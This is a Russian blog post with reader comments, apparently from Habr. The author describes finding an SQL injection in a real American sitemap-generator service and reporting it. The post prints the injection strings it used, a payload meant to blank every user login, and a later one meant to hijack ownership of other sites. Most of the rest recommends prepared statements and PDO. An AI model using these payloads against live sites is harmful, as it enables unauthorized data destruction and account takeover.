История одной SQL инъекции

Добрый день!
Хочу рассказать, как я взломал большой американский сайт по созданию sitemap-ов и напомнить о защите от sql-инъекций. Цель поста исключительно ознакомительная. Но все по порядку.

Предыстория

Для ряда своих проектов мне понадобилось сгенерировать пару сайтмапов. Я загуглил и среди прочего нашел один американский сервис для создания сайтмапов (где нужно было зарегистрироваться). Я ввел быстро левую информацию (в надежде, что на сайте нет проверки подлинности мейла) и адрес сайт для создания сайтмапа. И продолжил заниматься более важными делами забыв на пару дней об этом.

Первые действия

И вот я снова возвращаюсь к созданию сайтмапа. Ввожу свои данные на том же сайте(уже подлинные), и раньше введенный адрес сайта. В результате обработки формы сайт выдает текст:
FATAL ERROR: Duplicate entry 'http://gnum.me/' for key 2 FATAL ERROR: query: 
INSERT INTO site (userid, url, verifyfile, usetimestamp, usepriority, useupload, useping, usepingbing, createdate) VALUES (178817, 'http://gnum.me/', 'fsga6a59.txt', '1','1','0','0','0', NOW());

Текст значит, что данный сайт уже есть в базе данных. У меня возникла идея, почему бы не попрактиковаться во внедрение sql кода для того чтоб сделать интернет безопаснее для тренировки своего хакер-скила.
Для начала, я посмотрел на предмет отсутствия проверки текста вводимого в форме регистрации на ,, чистоту,, этим запросом:
', 'fsga6a59.txt', '1','1','0','0','0', NOW());
INSERT INTO site (userid, url, verifyfile, usetimestamp, usepriority, useupload, useping, usepingbing, createdate) VALUES (178818, 'http://yg480ybv034df.me/


Смысл в том, что я закрываю первую часть запроса:
INSERT INTO site (userid, url, verifyfile, usetimestamp, usepriority, useupload, useping, usepingbing, createdate) VALUES (178817, '

Кодом:
', 'fsga6a59.txt', '1','1','0','0','0', NOW());

И закрываю конечную приставку
', 'fsga6a59.txt', '1','1','0','0','0', NOW());

Кодом:
INSERT INTO site (userid, url, verifyfile, usetimestamp, usepriority, useupload, useping, usepingbing, createdate) VALUES (178818, 'http://yg480ybv034df.me/


Результат запроса:

FATAL ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '; 
INSERT INTO site (userid, url, verifyfile, usetimestamp, usepriority, useup' at line 1 FATAL ERROR: query: 
INSERT INTO site (userid, url, verifyfile, usetimestamp, usepriority, useupload, useping, usepingbing, createdate) VALUES (178959, '', 'fsga6a59.txt', '1','1','0','0','0', NOW()); 
INSERT INTO site (userid, url, verifyfile, usetimestamp, usepriority, useupload, useping, usepingbing, createdate) VALUES (178817, 'http://yg480ybv034df.me/', 'fsgf47a8.txt', '1','1','0','0','0', NOW());


Анализ результата

Я получил информацию:

  1. введенный мной текст не имеет проверки на вредоносный код;
  2. создатели сайта ограничили длину (до 125 символов), таким образом запрос до момента:

load, useping, usepingbing, createdate) VALUES (178817, 'http://yg480ybv034df.me/', 'fsgf47a8.txt', '1','1','0','0','0', NOW())

нормально проходит.

Резюме

В принципе дальше уже все понятно, я могу ввести любой код до 125 символов в данную строку. Дальше уже вопрос фантазии, вот например:
', 'fsga6a59.txt', '1','1','0','0','0', NOW());
 UPDATE uses SET login=' ' 

Удалив этим запросом все логины людей.

Отправил информацию о дыре на сайт. Задача выполнена — теперь наша информация будет более защищенной.

Не забывайте проверять на валидность вводимый клиентом текст.

UPD1:
Совет использования правильных подключений и запросов SQL от imater и FanatPHP
Подключаться:
$dsn  = "mysql:dbname=$config[dbname]=;host=$config[host];charset=$config[charset]";
$conf = array(
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
);
$pdo = new PDO($dsn, $config["user"], $config["pass"], $conf);


Обрабатывать входной текст:
$query = $db2->prepare("SELECT * FROM tree WHERE text LIKE :title OR id = :id");
$query->execute(array(":title"=>"%валент24938239823908%", ":id"=>$_GET ['sync3']));
while ($sql = $query->fetch()) echo $sql['fio'];


UPD2: Благодаря замечаниям zerkms, хочу напомнить о prepared statements:
Использование prepared statements дает множество преимуществ как для безопасности так и для производительности. Prepared statements могут способствовать повышению безопасности путём отделения логики SQL запроса, от данных, подставляемых в него. Такое разделение логики и данных может помочь предотвратить внедрение SQL-инъекций. Обычно, когда вы используете запросы, в которых используются данные пришедшие от пользователей, вы должны быть очень осторожными. Для этого вы используете функции, которые экранируют проблемные символы, такие как одинарные и двойные кавычки, обратный слешь. Эти операции не обязательно необходимо выполнять, когда вы будете использовать prepared statements. Отделение данных от логики запроса SQL позволяет MySQL автоматически обработать эти символы и не прибегать к помощи специальных функций.

Спасибо за внимание.Не судите строго мой первый пост.
AdBlock похитил этот баннер, но баннеры не зубы — отрастут

Подробнее
Реклама

Комментарии 19

    +6
    Для защиты от sql-инъекций есть более надежные способы, нежели проверка входящих данных (и уж особенно — на javascript, то есть на стороне клиента).
      0
      Да согласен но проверка должна быть и на стороне клиента и на стороне сервера. Человека иногда неумышленно может допустить ошибку и ввести не валидный текст и его нужно об этом извещать, для этого я и дал кусок кода на javascript.
        +2
        Проверка на стороне клиента используется для удобства пользователя, а не для безопасности. Не надо их мешать в одной статье.

        И вы не услышали главного: есть более надежные способы защиты от sql-инъекций, нежели проверка входных данных.
          0
          Да согласен приведенный мной javascript не совсем уместен.Убрал его.

          Привел пример более надежного способа защиты от imater.
      +4
      Лучший совет, использовать SQL запросы так:
      $query = $db2->prepare("SELECT * FROM tree WHERE text LIKE :title OR id = :id");
      $query->execute(array(":title"=>"%валент24938239823908%", ":id"=>$HTTP_GET_VARS['sync3']));
      while ($sql = $query->fetch()) echo $sql['fio'];
      
        +3
        $HTTP_GET_VARS уже давно deprecated, нужно использовать $_GET.

        Позанудствовал — порадовался. :-)
          0
          Исправил на $_GET
          +1
          Для нубов: Перед этим, нужно открыть базу, например, так:
            $db2 = new PDO('mysql:dbname=h116;host=localhost;', $config["mysql_user"], $config["mysql_password"]);
            $db2 -> exec("set names utf8");
            $db2->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
            $db2->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
          
            0
            Если для нубов то нужно уже придерживаться одного формата настроек и хранить все, включая кодировку в массиве config.

              $db2 = new PDO('mysql:dbname=$config["dbname"];host=$config["host"];', $config["mysql_user"], $config["mysql_password"]);
              $db2 -> exec("set names $config["charset"]");
            
              $db2->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
              $db2->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
            
            
              +1
              А для не нубов:

              нужно указывать `charset=utf8` в DSN, а не в `SET NAMES`
                0
                тогда уж и настройки писать в массиве $options, чтобы и сам коннект исключение кидал при случае.
                Да и синтаксис пхп не худо бы соблюдать.
                $dsn  = "mysql:dbname=$config[dbname]=;host=$config[host];charset=$config[charset]";
                $conf = array(
                    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
                );
                $pdo = new PDO($dsn, $config["user"], $config["pass"], $conf);
                
                  0
                  Тогда уж:
                  $dsn = sprintf('mysql:dbname=%s;host=%s;charset=%s', $config['dbname'], $config['host'], $config['charset']);
                  
                    +1
                    Как писать — это уже вопрос вкуса. Лишь бы синтаксис был корректный.
                    Лично мне sprintf здесь — не пришей кобыле хвост.

              +1
              Рассказывая о прелестях prepared statements, стоит сразу же рассказать, что делать, если в $_GET['sync3'] лежит массив id, которые должны быть подставлены в оператор IN(), и заодно — что делать, если с клиента задаётся имя поля для сортировки запроса.
                +2
                Расскажите.
              +1
              FATAL ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ';


              Это ровным счётом значит то, что «Удалив этим запросом все логины людей.» вы не сможете, потому что mysql клиент, используемый в проекте, не умеет выполнять несколько запросов за раз.
                0
                Текст нужно фильтровать.
                Даже в случае если запрос
                ', 'fsga6a59.txt', '1','1','0','0','0', NOW());
                 UPDATE uses SET login=' ' 
                

                не пройдет, можно отправить запрос такого типа:
                ', 'index.php', '1','1','0','0','0', NOW());
                

                Такой код пройдет и таким образом любой введенный мной сайт будет будет проверен на наличие файла index.php, и если он есть то сайт будет присвоен мне на сайте генераторов сайтмапов. А это уже по сути атака(хотя и пустяковая).
                  0
                  Не надо никакой фильтрации, вообще никакой. Нужно использовать prepared statements.
                    0
                    Ты прав.Дополнил информацией о prepared statements.

              Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

              Самое читаемое